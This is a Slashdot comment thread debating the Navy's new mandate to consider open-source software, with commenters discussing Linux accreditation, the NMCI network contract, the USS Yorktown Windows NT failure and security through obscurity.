  40. Used all over the place already by flyingfsck · · Score: 1

    Linux is used all over the place already. Linux/Unix is actually preferred from a security accreditation and certification point of view.

    --
    Excuse me, but please get off my Pennisetum Clandestinum, eh!
    1. Re:Used all over the place already by pedestrian+crossing · · Score: 1

      Linux is used all over the place already. Linux/Unix is actually preferred from a security accreditation and certification point of view.

      Take out the Linux, and you're closer to the truth.

      I have done DoD accreditation on both (Linux and Solaris), it is -way- tougher to get Linux accredited than Solaris.

      Part of the problem is that the guidelines for accrediting Solaris are more specific and easier to implement than the Linux ones. The Solaris guidelines will give specific steps using specific tools, but the Linux guidelines tend to give generic requirements and the specific implementation is left up to you.

      Also, Linux was not designed with a lot of security requirements in mind. Sure, they can be set up to be tough to penetrate externally, but there are a whole lot of auditing and attribution requirements that just aren't addressed by Linux.

      There also tends to be flat-out bias against Linux in some of the guidelines. For instance, using Linux as a firewall? Cat I finding, do not pass go, do not collect $200, no matter how you set up the system.

      Things are improving, but if I had to choose a *NIX that I had to get accredited for the DoD, I would definitely choose Solaris over Linux. You can only get Linux accredited if you have a sympathetic approving authority.

      --
      A house divided against itself cannot stand.
  41. Security by mdsolar · · Score: 1

    External IT security attacks happen all the time but they are pretty ineffective because the network can be monitored, CERT alerts are acted on promptly, patches applied as they are released and such. The damaging attacks come from people carrying data out on disks for pay. Those are hard to detect and also quite demoralizing, in part because trust is broken and in part because of the pompous zenophobic lectures from the folks who didn't do their job well enough. Resorting to name calling is unprofessional.

  42. Re:Finally! An F-22 Problem? by twiddlingbits · · Score: 1

    In the F-16A there was a code problem like this and it was fixed quickly. The F-22 FCS code is a derivative of the F-16 code base, so depending on where they forked it could be there. I doubt the problem occurred in a real flight most likely in a simulator and rumors got started.

  43. It's all about the benjamins by ACMENEWSLLC · · Score: 2, Insightful

    *Considering* open source software often generates substation savings from Microsoft. How many articles on /. have we seen where some government or huge company says they are switching away from Microsoft, only to have Microsoft come back with huge savings?

    It's a great negotiating advantage to be "forced" to consider open source.

  44. Russia was first by Jaxoreth · · Score: 1

    "Pretty usable"?!

    I heard the Russians used your guidance system on one of their newest subs and had a nuclear radiation leak, shortly after which they got torpedoed by an American sub which just 'happened' to figure out how to listen to their silent caterpillar drive.

    Don't expect me to be running your system any time soon. I think you have a lot to answer for.

    --
    In general, it is safe and legal to kill your children. -- POSIX Programmer's Guide
  45. 7 years ago today: by Anonymous Coward · · Score: 0

    Its Clintons's fault!!

  46. FOSS in the Navy by BigPenguin · · Score: 2, Informative

    As a Navy IT whose responsibilities include administrating one of the largest afloat networks in the world I can tell you two things: Linux and FOSS are already present onboard, but only in a quasi embedded role because the contractors who supplied the system (ala SPAWAR or similar) based the platform on Linux. These systems typically do not exist as a network asset. That is they are a ship's system and not a part of the "network" as user services are concerned. And two: It is a Microsoft shop from top to bottom and will have to remain that way. The Navy simply does not train it's personal to administer a Linux or Unix based network. Finding a few IT's with the requisite Windows admin knowledge is hard enough, but making the fleet utilize Linux? The IT workforce simply does not have the experience or training to make that jump at this time. I don't think it ever will. This is why advancement for the IT rating is so high. IT's with skill sets in Network Administration get out and join the civilian ranks after their first or second enlistment and open the ranks up for new IT's to advance.

    Believe me I HATE the Windows 2003 enviorment I am forced to administer. And the SPAWAR forced enviorment on top of that which increases the issues. I'd thank God for reliable servers and workstations, but I don't for see this ever occuring. Alas I have to do my time and move to a sector that does. Nothing to see here. *shews away readers in MiB suit*

    1. Re:FOSS in the Navy by ChronoFish · · Score: 2, Informative

      For the several years that I was a Defense Contractor (mid 90's), our shop and the NOCs that we supported were almost 100% Sun Solaris. We did not support the Navy (that I know of) but we did support the Air Force and a few Spook clients.

      Later (late 90's) I worked for a company that specializes in Air Traffic Control Systems. Development environment was Linux and production environment was AIX.

      Government agencies have accepted *nix flavors for a long time. "Never going to happen" is an incredibly strong term, and the fact that you've already got Linux boxes poking their head in leads me to believe that "Never say Never" is an appropriate response.

      -CF

    2. Re:FOSS in the Navy by brianber · · Score: 1

      At least you "target" sailors don't have to still deal with NT 4.0! And don't get me started on the HP-UX box I still have to deal with! Mind you, this is after an upgrade. As for Linux, the new submarine Fire Control, Sonar, and Navigation systems (which are on there own network) are running Linux now. It is a dramatic difference in capability over the old purpose built systems.

  47. Re:Imagine Chinese say: GPL shows us your code NAV by WhatAmIDoingHere · · Score: 2, Funny

    "Stupid, stupid !!"

    Were you summarizing your comment?

    --
    Not a Twitter sockpuppet... but I wish I was.
  48. COTS = by Shipwack · · Score: 2, Informative

    COTS stands for "Commercial, Off The Shelf"... Items that can be found in the civilian world. For example, instead of spending millions of dollars developing a navigation radar, they might just buy a commercial model from Furuno. This is the first step of undoing the stupidity that ensued when they mandated that all official documents be written in the proprietary format of Microsoft Word, a couple of decades ago.

    1. Re:COTS = by mpe · · Score: 1

      COTS stands for "Commercial, Off The Shelf"... Items that can be found in the civilian world. For example, instead of spending millions of dollars developing a navigation radar, they might just buy a commercial model from Furuno

      In the process probably spending lots of money to check out if the whatever is actually suitable for military use. Possibly also hacking it to ensure that it's sufficently different from "stock" that a (potential) enemy can't test it out themselves.
      Both sides in a conflict having access to the same hardware has lead to situations like the Argentinian airforce being able to train to avoid being detected by Royal Navy (type 42) destroyers and Chechneans being unable to shoot down Russian aircraft.

    2. Re:COTS = by chthon · · Score: 1

      I thought it meant Components Off The Shelf...

    3. Re:COTS = by Discoflamingo13 · · Score: 1

      It depends whether you work hardware, software, or systems procurement. We have some customers who seem to believe it means "Custom(ized) Off The Shelf", like that makes any genuine sense.

  49. Re:Imagine Chinese say: GPL shows us your code NAV by aztracker1 · · Score: 1

    Oh no! Somebody set us up the bomb.

    --
    Michael J. Ryan - tracker1.info
  50. An often heard verse. by twitter · · Score: 0, Troll

    Some trolly AC taunts:

    well, that's 30 minutes of your life you'll never get back

    To which I say, "It beats working." Silly troll, Bill Gates pays you too much.

    --

    Friends don't help friends install M$ junk.

  51. What constitutes cosidering? by r_jensen11 · · Score: 1

    If it's anything like:

    A: We need a new database system because the one we're using isn't supported any more
    B: Should we use *Insert OSS*
    A: Is it created by Oracle?
    B: No
    A: Then that's your answer

    ...then there's no hope. I'm sure there will be *some* adoption, but I doubt this new 'policy' will have any net effect.

  52. Same thing in Canada by PhysicsPhil · · Score: 2, Informative

    I just attended a (non-classified) talk from a department of the Canadian government about the role of FOSS in our military. A few interesting points:

    * On average, commercial, off the shelf software (COTS) tended to be slightly cheaper for life cycles in the mid-term range, which seemed to be 5-12 years or so. Shorter than that FOSS was best because of the low up-front costs, while on the longer term the lack of vendor support for COTS was a concern. The number that was thrown out was COTS being about 15% cheaper for the mid-term, although there were cases where FOSS was still better.

    * To avoid finger pointing between the OS and application manufacturers during bug hunts, it was desirable for a single company/consultant group to take responsibility for all software. They weren't inclined to wait in a war zone while tech guys played telephone tag while repairing a bug. The ideal would be to purchase hardware from a given supplier, and having one contact point for all software.

    * Long-term software support was a concern for both COTS and FOSS, but the ability to either maintain the software yourself (least desirable) or form a consortium with other like-minded entities was an advantage for FOSS.

    * Licensing was identified as a major hassle. The speaker identified that computer types are very highly trained from a technical perspective, but not trained from a legal standpoint, so navigating through licensing conditions was a problem. They were hoping our Treasury Board could handle government-wide licensing issues.

    * There was definite interest in shifting the computer systems on-board our latest warships from HP-UNIX to Linux-based systems to avoid the vendor end-of-lifing the systems.

    The talk continued on to discuss issues related to hardening systems from attacks, but I didn't stay for the whole thing. Just before I left, the speaker was bemoaning that while FOSS gave great tools for the good guys, they also empowered the foreign script-kiddies as well, so it was a two-edged sword.

  53. Meaningless dribble! by obeythefist · · Score: 1

    Navy Now Mandated to Consider FOSS as an Option

    What is an option? What is consideration? FOSS has always been an option for the Navy. The Navy has always had the choice to consider it. Now they are forced to consider it as an option? What?

    The only way to truly examine this is through a car analogy.

    Say you are driving a car, and you are trying to get to Algeria. You come to a junction where you could turn off and head to Libya, or you can keep going straight and arrive in Algeria. You have the option. But maybe you don't consider it as an option because it is not mandatory. Now, let's say you are driving as you normally do but now there is a boomgated checkpoint at the junction! A mean looking man with a rifle points the rifle at you and demands that you consider it an option, because under the new law it is mandatory to consider your option.

    So you just say "Algeria" and keep doing as you wanted to do anyway.

    Do you see what I did there?

    Think about this next time it becomes "Mandatory" to consider Pepsi an option instead of Coke... you can still choose Coke.

    --
    I am government man, come from the government. The government has sent me. -- G.I.R.
  54. Parts of the Navy are way ahead of him already by finlandia1869 · · Score: 2, Interesting

    I'm not surprised by this at all. There's actually an effort within the Navy now to build a massive shared, OSS repository of combat system software components and code for combat systems stuff. Everyone gets to examine code, fiddle with it, pick at it, adapt it, go play. And you're required to submit whatever you come up with to the same scrutiny. It's part of a larger effort to get away from lock-in with Raytheon, LockMart, etc. and get more competition and more small players. The surface warfare centers have experimented with creating their own quasi-incubators for small business industry to get a foot in the door. I've heard of a few neat products so far.

    My only fear is that all of our efforts will go for nothing when some doofus admiral says, "Vendor X says he can do it cheaper. Drop everything and go prove that you really know what you're doing." Yup. All of my team's work grinds to a halt for 3 months while we pursue a damn wild goose chase to justify that we're more trustworthy than a retired O-6 who's now a salesman.

    Wish us luck. We'll bloody well need it.

  55. First OPSEC gets the axe... by deathshadow60 · · Score: 1

    Basically we're now throwing strategic security out the window too - BRILLIANT. First we let soldiers blog and e-mail from an occupation zone, and now this. I'm sorry, but having the source code to milspec equipment being OSS is NOT a step in the right direction. But then, COTS itself is a bit #DDD for military application - see WinCE crashing a wobbly goblin, or the whole Aegis NT fubar. OSS might not crash as often or in the same way as COTS - but I don't even want to THINK what vulnerabilites hackers could exploit when given access to the source code because some OSS project got used on milspec hardware. If it is to be considered COTS, it should be rejected for those same reasons. I know the WWII generation has faded from our ranks and is now fading from memory as well, but are we to forget the lessons learned as well? Loose lips sink ships? Don't murder men with idle words? Do these phrases ring any bells? There's a REASON for military secrecy, and it has nothing to do with the evil bullshit your tin-hat wearing leftist pussies claim. It is about saving lives and defeating the enemy. We are so badly underestimating our enemies in regards to operational, strategic and logistic security, and it is now only a matter of time before it costs lives, if it has not already. SHAME on the people running todays military if this is their idea of genius... and double shame on all of you praising it.

    --
    I went looking for trouble, and boy, I found her...
    1. Re:First OPSEC gets the axe... by JustNiz · · Score: 2, Informative

      Well the point is that you don't need the source code to be able to find exploits. See the fiasco that is Windows.

      Also having source-code to secure systems in the public domain doesn't hurt. In fact it actively can be of benfit as the more people look at it, the more loopholes get found and fixed. PGP source code has been freely available for decades but the algorithm that the code implements is still widely understood to be one of the most secure encryption methods out there.

    2. Re:First OPSEC gets the axe... by Andy+Dodd · · Score: 0, Flamebait

      In short, you're saying that FOSS should not be used as it prevents the use of security through obscurity (as opposed to proper security).

      A truly secure system will be secure whether you have the source code or not.

      If you think VxWorks is more secure than Linux simply because it's closed source, you need a bullet in the head.

      --
      retrorocket.o not found, launch anyway?
  56. Why the Navy wants SlashFUD? by Anonymous Coward · · Score: 0

    "Now, imagine a similar situation involving software. Your control system is acting up while you're on patrol in the South China Sea -- do you send an email to Redmond and wait for the response, or do you open the hood and fix it yourself? As the pdf memorandum said:"

    Wow! Imagine you're talking out your ass? Control systems aren't running windows anyway. Usually the code is either custom, or using a RTOS like vxworks.

  57. Re:Finally! An F-22 Problem? by alienmole · · Score: 1

    The incident in which some new F-22s en route to Japan had to turn back was a real incident, according to the Air Force. What's not clear is what the actual cause was. All the Air Force seems to have said officially are things like "a software issue affecting the aircraft's navigation system was discovered Feb. 11 causing the aircraft to return to Hickam" (from here).

    A retired Major General Don Sheppard had more to say on CNN, but gave no details about where his information came from. Although one is presumably supposed to assume he had inside knowledge, he could just have been speculating based on the official reports.

  58. Re:Cool!! (big biz can do biased OpSo consulting) by Anonymous Coward · · Score: 0

    No no, you have it all wrong.

    The big closed source vendors will recommend particular companies to the Navy which always put open source in a negative light. Then the consultants at the big biz companies will make extra money from pretending to impartially investigate the open source option.

    It might not happen every time, but I can't help but think this sort of tactic is going to get some use.

  59. that wasn't his point by Anonymous Coward · · Score: 0

    I mean, can you *read*? It's for instant security backups in case one set of OS/apps is hosed, you can quickly boot up to another that in theory is still good.

    1. Re:that wasn't his point by Evanisincontrol · · Score: 1

      Right. So... same question. How is that redundancy?

      Redundancy would be having a copy of the operating system another partition/disk. Another copy which was mirror nightly (or on some routine basis) so that, in the event of a system crash, you can move to that mirrored copy, which is an exact replica of the original system.

      Moving from Windows to OS X is in no way redundant, under any definition.

  60. And if you may recall, this may be the reason.... by Anonymous Coward · · Score: 0
    USS Yorktown Left Dead in the Water

    The Navy's Smart Ship technology is being considered a success, because it has resulted in reduced manpower, workloads, maintenance and costs for sailors aboard the Aegis missile cruiser USS Yorktown. However, in September 1997, the Yorktown suffered a systems failure during maneuvers off the coast of Cape Charles, VA., apparently as a result of the failure to prevent a divide by zero in a Windows NT application. The zero seems to have been an erroneous data item that was manually entered. Atlantic Fleet officials said the ship was dead in the water for about 2 hours and 45 minutes. A previous loss of propulsion occurred on 2 May 1997, also due to software. Other system collapses are also indicated. [Source: Gregory Slabodkin, Software glitches leave Navy Smart Ship dead in the water, Government Computer News, 13 Jul 1998, PGN Stark Abstracting from http://www.gcn.com/gcn/1998/July13/cov2.htm%5D

    Yes, that is right, a Microsoft OS left one of our most advanced missile destroyers with no propulsion or systems. Windows NT FTL, except that I am a hypocrit writing this from an NT 5.01 (WinXP) machine
  61. come on by game+kid · · Score: 1

    it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles

    Oh, come on. Every nuclear sub manufacturer/terrorist I know gives their nuclear subs Depend® submarine undergarments for those inevitable incontinent moments.

    Whether your subs have crappy open-source code or Windows 3.1, you can get all you want out of disastrous global thermonuclear war(TM) with Depend®!

    --
    You can hold down the "B" button for continuous firing.
  62. Why the Navy is considering FOSS... by Anonymous Coward · · Score: 0

    "It seems you are trying to deflect a missle attack: Cancel or Allow?"

    BOOOOOOOOOOOOOOOOOOOOM!!!

  63. Re:N M C I (No More Computing Inhouse) by Anonymous Coward · · Score: 0

    In the last few years the Navy has straddled us with the hideous NMCI IT contract that dictates operating systems, software applications, and hardware. When NMCI was conceived, in the womb of ignorance and shortsightedness, they were thinking of providing a common monocultural solution that might work if the only thing the Navy did was to send email and make PowerPoint presentations. Speaking for the Marine Corps side, most people do want to use basic MS Office functionality. There are few users in the Marine Corps who do any sort of research, and while I'm not familiar with what you do, it sounds like you shouldn't be on a regular workstation.

    In a research environment you need flexibility in order to match solutions to problems. NMCI forbids the installation "unapproved" software or hardware. Ok, so the Navy has a network of 300,000+ computers. NMCI is not going to support whatever you want to plug into them because the cost of that support would be very expensive.

    Oh did I mention NMCI is inefficient and near useless. I have a NMCI laptop. I would rather have a 286 with two floppy drives and a sharp stick. If your research apps consume more memory than the computer has, then get more memory. NMCI provides a way for you to order it. Your computers are supposed to be replaced every few years, and if this isn't happening, you need to contact your IT people to find out why. If it's as bad as you say, then call in a ticket and get someone to reimage your machine.

    From an earlier post:

    Only selected applications can be installed on a computer on this network and it is tough to make the list. Very true, but that is usually because either the Navy or the Marine Corps has not approved your software (or the Navy/MC isn't willing to pay NMCI to package the software).

    Most of the security restrictions implemented on NMCI are required by the government - CAC logon, 15-char+ passwords, restricted Navy webmail, etc. That's the goverment using NMCI to restrict its users on a global scale. Before, with legacy networks, it wasn't much of a problem because the Navy and Marine Corps had a hard time holding people accountable for non-compliance. Fewer people worried about enterprise-wide security risks.

    And in regards to EDS not willing to use OSS: it isn't just EDS, pretty much any major computer support company is supporting Windows networks. And this is mostly because Windows is the only OS that will run the programs the company, or in this case the Navy and Marine Corps, uses.

    The military uses a lot of ancient software (some of it dating back to the 16-bit days), and there's no way the military would be willing to switch to a different operating system any time soon. I can easily see the military adopting Vista in five years or so, but even though more of the specialized servers or small networks may switch to some form of Linux, I don't think the Navy is in any position to switch their entire network to Linux.

    I hear people complain about NMCI every single day, and it bothers me that most of what people complain about is caused by the military - like the CAC logon policy. NMCI didn't want to implement that at all. However, I will say that NMCI has some definite problems. For example, the help desk techs are downright stupid, but even that isn't so bad because they will just send the ticket on to a software team or the local NMCI staff which are usually much better.

    I worked in the Marine Corps (as an 0651) before NMCI and I work for NMCI now, and IMNSHO, NMCI is at the moment better than what the legacy network used to be. NMCI is continuing to improve after a miserable start because EDS did not understand how the military works. AFAIK, the contract has been extended once already, and I don't see it ending any time soon.
  64. That's the NRL. by Ayanami+Rei · · Score: 1

    ONI is the same way.
    But a lot of the operations parts of the Navy is a MS infrastructure.
    OTH you'll see Unix-likes and other estoeric stuff in some command/control situations and deployed systems but that's not the same thing.

    --
    THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
  65. NSA trusted computing by DragonHawk · · Score: 2, Informative

    so when the early Windows 2000 failed one of the tests, it was technically unlawful to use Windows 2000 for any Government work

    What law require(s|ed) evaluation according to the NSA "rainbow books" before a system can be used for government work? Where I work, even systems which process Classified information are not required to have trusted system software. You have to protect the system, but that's most often accomplished by far less sophisticated means. It is what is called "system high" or "dedicated" operation -- you treat everything as classified, lock everything up, and only let cleared people near it. The OS is not part of the safeguarding. Hell, eight years ago, there were plenty of Windows 95 and Windows 98 systems processing Classified information.

    The more sophisticated measures -- an OS supporting multi-level security -- is only required if you want to let people who are not cleared to the information access some other part of the system. In other words, if you want to have Joe Blow without a clearance store his order for janitorial supplies on the same system that has SECRET data.

    --

    dragonhawk@iname.microsoft.com
    I do not like Microsoft. Remove them from my email address.
  66. There will be a copy of the source code by geoffrobinson · · Score: 1

    ...loaded on the missile directed straight at you.

    --
    Except for ending slavery, the Nazis, communism, & securing American independence, war has never solved anything.
  67. I wonder by abb3w · · Score: 1

    Perhaps the CIO happened to witness a BSOD on board an aircraft carrier's control systems one day?

    --
    //Information does not want to be free; it wants to breed.
  68. CrossTalk by darkwing_bmf · · Score: 1

    Topically enough, this month's issue of CrossTalk , "The Journal of Defense Software Engineering", is on the subject of COTS Integration. Well worth a read if you're interested in this kind of thing.

  69. Re:N M C I (No More Computing Inhouse) by truckaxle · · Score: 1
    To sum it up the parent post, to which I heartily agree, NMCI is not a good fit at the research environment (ie the Warfare Centers). The Warfare Centers currently maintain two networks which is expensive, doubles the vulnerable exposed surface area and creates operational inefficiencies (just getting data from one network to the other can difficult and complex).

    Granted, but what if we want to plug in an inexpensive weather station and camera to increase situation awareness and monitor expensive assets - sorry can't be done we are back to 70's.
  70. Good to hear by stuntpope · · Score: 1

    This is good. A couple years back there was a DoD-wide directive forbidding "Freeware, Shareware, and stuff without a license" that many in IT incorrectly assumed meant no Open Source. Lots of confusion about that one ("what about Java? It's free" was often brought up). There already was a lot of FOSS in my non-Navy shop. Long after several of us had this clarified to confirm that Open Source *was* allowed, some IT staffer would persist with the wrong interpretation. But still, there was a "compelling need" aspect to non-commercial (but licensed, GPL, MIT, BSD, what have you) software, like Apache. MS was and is favored by most that I encounter. It's heartening to see this Navy directive come out. You may not think it will make a difference, but it serves to legitimize FOSS to those managers and techs who assume it has to be MS, Oracle, or Sun (usually MS). There are quite a few of us pushing FOSS in DoD, now we can point to this.

  71. When? by bill_mcgonigle · · Score: 1

    When I worked for the Army I had to unilaterally implement FOSS solutions

    I'm curious when this was. In the days of the battleships running NT?

    These days, linux hackers go work for military contractors and build UAV's, guidance systems, and perhaps more importantly saving our troops in Iraq.

    When our military thinks Linux is a competitive advantage, well, they're playing for higher stakes than your average business user is.

    --
    My God, it's Full of Source!
    OUTSIDE_IP=$(dig +short my.ip @outsideip.net)